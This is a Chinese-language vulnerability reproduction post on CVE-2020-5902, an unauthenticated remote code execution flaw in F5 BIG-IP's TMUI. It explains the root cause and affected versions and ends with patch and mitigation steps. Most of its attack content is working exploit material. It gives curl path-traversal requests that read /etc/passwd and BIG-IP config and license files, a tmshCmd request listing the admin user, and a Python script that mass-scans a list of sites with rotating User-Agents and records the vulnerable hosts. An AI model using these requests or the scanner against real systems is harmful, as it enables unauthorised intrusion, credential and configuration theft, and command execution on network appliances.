CVE-2020-5902 BIG-IP RCE漏洞复现&exp

 

0x01 漏洞简述

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

0x02 漏洞详情

未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

tmshCmd

在 tmshCmd 的 service方法处理请求的时候，未对command 参数进行处理，直接调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令，限制了执行delete,create,list,modify。

if ("POST".equalsIgnoreCase(request.getMethod())) {
            String[] cmdArray = command.split(" ");
            String operation = cmdArray[0];
            String module = cmdArray[2];
            if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
               try {
                  String[] args = new String[]{command};
                  Result result = Syscall.callElevated(Syscall.TMSH, args);
                  output = result.getOutput();
                  error = result.getError();
               } catch (CallException var11) {
                  logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
                  error = var11.getMessage();
               }
            } else {
               error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}

fileRead

在 fileRead 的 service方法处理请求的时候，未对 fileName 参数进行处理，直接调用 WorkspaceUtils.readFile(fileName); 方法，进行文件读取。

fileSave

在 fileSave 的 service方法处理请求的时候，未对 fileName，content 参数进行处理，直接调用 WorkspaceUtils.saveFile(request); 方法，进行文件上传。

0x03 影响版本

• BIG-IP 15.x: 15.1.0/15.0.0
• BIG-IP 14.x: 14.1.0 ~ 14.1.2
• BIG-IP 13.x: 13.1.0 ~ 13.1.3
• BIG-IP 12.x: 12.1.0 ~ 12.1.5
• BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x04 文件读取POC

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

0x05 代码执行

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

0x06 站点随机采集脚本批量测试

脚本代码，采用python3编写，也可以去github下载

import requests
from random import choice
import argparse
import json

import warnings
warnings.filterwarnings('ignore')#忽略SSL警告

USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]

headers = {}

def F5(url, i):
    #print(f'[{i}]')
    checkUrl = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
    headers["User-Agent"] = choice(USER_AGENTS)
    try:
        res = requests.get(checkUrl, headers=headers,timeout=3,verify=False)
        print(res.status_code)
        if res.status_code is 200:
            print('[{i} +++] The {url} has Vuln !!!!!!!!!!!!'.format(url=url,i=i)+'\n')
            with open('success.txt', 'a') as f1:
                    f1.write(url + '\n')
        else:
            print('[{i} xxx] The {url} Not has Vuln'.format(url=url,i=i)+'\n')
    except:
        print("{url} 连接超时\n".format(url=url))

def get_url():
    i = 1
    with open('urls.txt', 'r') as f:
        for line in f:
            url = line.replace('\n', '')
            if url[0:5] == 'https':
                url = url
            else:
                url = 'https://' + url
            F5(url, i)
            i += 1
if __name__ == '__main__':
        get_url()

0x07 修复建议

通用修补建议：

升级到以下版本

• BIG-IP 15.x: 15.1.0.4
• BIG-IP 14.x: 14.1.2.6
• BIG-IP 13.x: 13.1.3.4
• BIG-IP 12.x: 12.1.5.2
• BIG-IP 11.x: 11.6.5.2

临时修补建议：

官方建议可以通过以下步骤临时缓解影响

1) 使用以下命令登录对应系统

tmsh

2) 编辑 httpd 组件的配置文件

edit /sys httpd all-properties

3) 文件内容如下

include '

Redirect 404 /

'

4) 按照如下操作保存文件

按下 ESC 并依次输入
:wq

5) 执行命令刷新配置文件

save /sys config

6) 重启 httpd 服务

restart sys service httpd

并禁止外部IP对 TMUI 页面的访问

0x08 参考链接

1. Article: K52145254 – TMUI RCE vulnerability CVE-2020-5902
2. BIG-IP 应用程序服务、硬件和软件 | F5
3. Add F5 BIG-IP TMUI Directory Traversal and File Upload RCE (CVE-2020-5902)
4. CVE-2020-5902

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